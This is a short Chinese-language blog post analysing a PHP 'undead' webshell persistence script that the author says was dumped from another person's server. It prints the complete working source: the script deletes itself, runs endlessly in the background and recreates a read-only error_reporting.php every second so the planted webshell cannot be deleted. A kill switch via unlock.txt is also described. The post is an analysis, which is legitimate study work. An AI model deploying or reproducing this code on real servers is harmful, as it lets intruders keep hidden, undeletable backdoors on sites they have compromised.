在别人服务器上dump下了这个文件,分析了一下,是一个挺有意思的不死马,分析以后跟大家分享一下
所以这算原创还是转载…毕竟不是我写的马 有啥不合适的我再改(
这个不死马的主体是这个文件,不妨叫Trojan.php
<?php@unlink($_SERVER['SCRIPT_FILENAME']); //删除自身error_reporting(0); //禁用错误报告ignore_user_abort(true); //忽略与用户的断开,用户浏览器断开后继续执行set_time_limit(0); //执行不超时$js = 'unlock.txt'; //用来判断是否终止执行锁定(解锁)的文件标记$mb = 'error_reporting.php'; //要锁定的文件路径$rn = 'error_reporting.txt'; //要锁定的内容$nr = file_get_contents($rn); //从文件中读取要锁定的内容@unlink($rn); //删除“要锁定的文件内容”,不留痕迹//创建一个后台执行的死循环while (1==1) {
//先判断是否需要解除锁定,防止后台死循环造成各种冲突
if (file_exists($js)) {
@unlink($js); //删除解锁文件
exit(); //终止程序
}
else {
@unlink($mb); //先删除目标文件
chmod($mb, 0777); //设置属性
@unlink($mb); //先删除目标文件
file_put_contents($mb, $nr); //锁定内容 //$fk = fopen($mb, w); fwrite($fk, $nr); fclose($fk);
chmod($mb, 0444); //设置属性
usleep(1000000); //等待1秒
}};?>
可以看到,他需要读取一个error_reporting.txt文件的内容,然后写入同名php文件中
在执行前做了一个判断,是否存在unlock.txt文件,如果存在,即终止进程退出。这里是一个小细节,不至于失控
在运行此php文件后,会自动删除Trojan.php和error_reporting.txt,驻入内存中。不断写入error_reporting.php,不管怎么删除都会再自动生成。要终止只需建立一个unlock.txt文件即可
欢迎联系本站长QQ:3216572